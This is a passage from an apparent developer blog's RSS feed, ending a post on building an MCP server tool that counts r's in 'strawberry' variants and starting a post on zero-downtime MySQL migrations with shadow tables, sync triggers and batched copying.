style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, fill in the &lt;em&gt;transport type&lt;/em&gt; and commands in case you had the same issue I did.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-panel.jpg_k2td1x.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-panel.jpg_k2td1x.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP inspector configuration panel&#34; width=&#34;286&#34; height=&#34;468&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If we click on “list tools,” it’ll detect the tool we just created.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-tools-panel.jpg_fhvq4v.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-tools-panel.jpg_fhvq4v.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP inspector tools panel&#34; width=&#34;1584&#34; height=&#34;355&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;By clicking on &lt;em&gt;List tools&lt;/em&gt;, and then on the name of the tool, will activate and we’ll be able to pass it our parameter: a &lt;em&gt;strawberry&lt;/em&gt; variant with as many r’s as we want.&lt;/p&gt;&#xA;&lt;p&gt;Just remember, this parameter is what we’d receive directly from our LLM—it would be the one responsible for parsing the user’s input and returning the parameter accordingly, so don&amp;rsquo;t mess with the input.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-strawberry-count-result.jpg_pnon99.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-strawberry-count-result.jpg_pnon99.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP inspector input box&#34; width=&#34;768&#34; height=&#34;381&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;As you can see, the code works. The MCP server returns our message. In a real-world setting, this would be received by the LLM and would tell the user the correct number of r’s in their &lt;em&gt;strawberry&lt;/em&gt; variant—without making a fool of itself, as it usually would normally do.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;why-would-we-want-to-create-a-mcp-server&#34;&gt;Why Would We Want to Create a MCP Server?&lt;/h2&gt;&#xA;&lt;p&gt;Creating a MCP server allows us to connect an LLM or AI to real-time data, personal data, or other data sources.&lt;/p&gt;&#xA;&lt;p&gt;I previously wrote a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;how the Model Context Protocol (MCP) works internally&lt;/a&gt;&#xA;; you can check it out if you&amp;rsquo;re not satisfied with just a recipe and want to learn more.&lt;/p&gt;&#xA;&lt;p&gt;In this post, I’ll detail how to create a MCP server. We’re going to make one that solves &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://community.openai.com/t/incorrect-count-of-r-characters-in-the-word-strawberry/829618&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;one of the most embarrassing LLM errors: not being able to count the number of r&amp;rsquo;s&lt;/a&gt;&#xA; in variations of the word strawberry. For example: &lt;em&gt;strawberrrry&lt;/em&gt; or &lt;em&gt;strawberrrrrrry&lt;/em&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Zero Downtime Migrations: Shadow Table Strategy Explained</title>
      <link>https://coffeebytes.dev/en/databases/zero-downtime-migrations-shadow-table-strategy-explained/</link>
      <pubDate>Fri, 27 Jun 2025 16:14:41 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/databases/zero-downtime-migrations-shadow-table-strategy-explained/</guid>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Picture this: It&amp;rsquo;s 2 AM, you&amp;rsquo;re deploying a &amp;ldquo;simple&amp;rdquo; column type change to production, and suddenly your entire application is down because the table lock is taking forever. Your phone starts buzzing with angry Slack notifications, and you&amp;rsquo;re frantically trying to explain to your team why the &amp;ldquo;5-minute migration&amp;rdquo; has been running for 30 minutes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-the-shadow-table-strategy&#34;&gt;What&amp;rsquo;s the Shadow Table Strategy?&lt;/h2&gt;&#xA;&lt;p&gt;The shadow table strategy is like having a stunt double for your database table. Instead of modifying your original table directly (and potentially bringing your application to its knees), you create a &lt;del&gt;shadow clone&lt;/del&gt; new table with the desired structure, gradually copy data over, and then perform a lightning-fast switcheroo.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s the basic flow:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751079950/coffee-bytes/shadow-table-explanation_gbdhc0.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751079950/coffee-bytes/shadow-table-explanation_gbdhc0.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Shadow table diagram&#34; width=&#34;996&#34; height=&#34;612&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;what-problem-is-this-solving-shadow-table-strategy&#34;&gt;What Problem Is This Solving Shadow Table Strategy?&lt;/h2&gt;&#xA;&lt;p&gt;Traditional &lt;em&gt;ALTER TABLE&lt;/em&gt; operations can be absolute nightmares in production if you&amp;rsquo;re dealing with websites that have billions of records. When you run something like &lt;em&gt;ALTER TABLE users MODIFY COLUMN id BIGINT&lt;/em&gt;, most database engines will:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Lock the entire table&lt;/strong&gt; for the duration of the operation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Block all reads and writes&lt;/strong&gt; while restructuring the table&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Take forever&lt;/strong&gt; on large tables (we&amp;rsquo;re talking hours for billions of rows)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Risk timeouts&lt;/strong&gt; that leave your database in an inconsistent state&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The shadow table strategy solves these problems by breaking the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/&#34;&gt;database migration&lt;/a&gt;&#xA; into smaller, more manageable chunks that don&amp;rsquo;t require long-running locks. Your application stays online, users stay happy, and you don&amp;rsquo;t get notifications at 3 AM.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-about-smaller-tables&#34;&gt;What about smaller tables&lt;/h3&gt;&#xA;&lt;p&gt;If your table doesn&amp;rsquo;t have millions of rows and it&amp;rsquo;s not critical that the database keeps running, you can always just send an email notifying your users that your app will be under maintenance for a short period.&lt;/p&gt;&#xA;&lt;p&gt;I mean nobody is going to hate you if your furry images site is down for a couple of hours, put a &amp;ldquo;touch some grass&amp;rdquo; page and perform the migration, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;don&amp;rsquo;t obsess unnecessarily about your app&amp;rsquo;s performance.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;However, if that&amp;rsquo;s not the case and the business is losing money for every second that the database is locked&amp;hellip;&lt;/p&gt;&#xA;&lt;h2 id=&#34;steps-to-perform-a-table-modification-using-shadow-table-strategy&#34;&gt;Steps to Perform a Table Modification Using Shadow Table Strategy&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s walk through a real-world example where we need to change a user ID from INT to BIGINT because we&amp;rsquo;re approaching the 2.1 billion limit.&lt;/p&gt;&#xA;&lt;p&gt;Stonks. Congratulations if you&amp;rsquo;re the one running the show.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-1-create-the-shadow-table&#34;&gt;Step 1: Create the Shadow Table&lt;/h3&gt;&#xA;&lt;p&gt;First, create your new table with the desired structure:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Create the Shadow Table&#34; width=&#34;1065&#34; height=&#34;1639&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create the shadow table with the new structure&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; users_new (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    id &lt;span style=&#34;color:#ff5c57&#34;&gt;BIGINT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; AUTO_INCREMENT,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff5c57&#34;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email &lt;span style=&#34;color:#ff5c57&#34;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;UNIQUE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFAULT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFAULT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;CURRENT_TIMESTAMP&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) ENGINE&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;InnoDB;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Copy indexes from the original table&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; idx_users_email &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users_new(email);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; idx_users_created_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users_new(created_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-2-set-up-data-synchronization&#34;&gt;Step 2: Set Up Data Synchronization&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751080652/coffee-bytes/shadow-table-sync_v7mgtq.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751080652/coffee-bytes/shadow-table-sync_v7mgtq.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sync both tables&#34; width=&#34;996&#34; height=&#34;971&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This is where things get interesting. You need to keep the shadow table in sync with the original while your application continues to operate like if nothing were happening.&lt;/p&gt;&#xA;&lt;p&gt;Yes, you&amp;rsquo;re duplicating writes and running two tables instead of one. For this there are two approaches:&lt;/p&gt;&#xA;&lt;h4 id=&#34;use-database-triggers&#34;&gt;Use database triggers&lt;/h4&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create triggers to keep shadow table in sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DELIMITER&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_insert_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INTO&lt;/span&gt; users_new (id, name, email, created_at, updated_at)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt; (&lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.id, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.email, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.created_at, &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.updated_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_update_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt; users_new &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.name, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.email, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.updated_at&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NEW&lt;/span&gt;.id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_delete_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;AFTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DELETE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FOR&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EACH&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ROW&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;DELETE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OLD&lt;/span&gt;.id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DELIMITER&lt;/span&gt; ;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;synchronize-data-at-application-level&#34;&gt;Synchronize data at Application-Level&lt;/h4&gt;&#xA;&lt;p&gt;If you prefer, you can sync the data through your application&amp;rsquo;s logic instead.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_user&lt;/span&gt;(user_id, changes):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Original write to main table or database&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    original_db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UPDATE users SET ...&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Shadow write (with transformation)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shadow_db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;execute(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UPDATE users_new SET name=? ...&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-3-copy-existing-data-in-batches&#34;&gt;Step 3: Copy Existing Data in Batches&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751082296/coffee-bytes/shadow-table-copy-data_1_m2qwh7.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Copy data in batches&#34; width=&#34;1065&#34; height=&#34;1639&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now comes the bulk data migration. &lt;strong&gt;Never try to copy everything at once&lt;/strong&gt;, that&amp;rsquo;s a recipe for a digital hecatombe. Remember the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/&#34;&gt;worker pool pattern&amp;rsquo;s&lt;/a&gt;&#xA; reason of existance.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you have enough resources and consider doing this during low-traffic periods:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Copy data in manageable batches to avoid long locks&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10000&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span 